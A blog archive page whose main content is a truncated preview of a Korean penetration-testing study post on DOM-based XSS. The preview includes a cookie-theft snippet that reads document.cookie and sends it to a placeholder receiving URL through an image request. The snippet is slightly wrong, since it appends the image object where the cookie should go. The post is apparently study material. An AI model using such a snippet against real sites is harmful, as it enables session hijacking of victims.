Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 |
Tags
- Los
- Reflected Xss
- 웹개발
- 로그인
- 로그인페이지
- XSS
- sql injection point
- 모의해킹
- file upload
- 쿠키
- 게시판 만들기
- CTF
- JWT
- csrf
- lord of sqli
- sql injection
- css
- 세션
- cookie 탈취
- MySQL
- lord of sql injection
- blind sql injection
- 과제
- cors
- Error based sql injection
- JS
- union sql injection
- Python
- php
- Cross Site Request Forgery
Archives
- Today
- Total
목록DOM based XSS (1)
Almon Dev
모의해킹 공부 10주차 (XSS)
10주 차 정리 XSS (Cross-site Scripting) Dom Based XSS파라미터를 브라우저에서 조립하는 것을 이용해 스크립트를 실행하는 기법입니다.=> Reflected와는 다르게 서버 응답에 포함되어 있지 않습니다.ex) js를 이용한 태그 생성 및 수정 XSS 활용xss 취약점이 있을 경우 키로거, 세션 탈취, 악성 페이지로 리다이렉션 등이 있을 수 있습니다. 1. 세션 탈취let cookieData = document.cookie;let img = new Image();img.src = '쿠키를 받을 url?cookie=' + img document.cookie를 이용해서 피해자의 쿠키를 cookieData에 저장한 뒤이미지 태그를 생성해서 src를 설정해 해당 url에 GET ..
모의해킹/모의해킹
2024. 12. 20. 03:17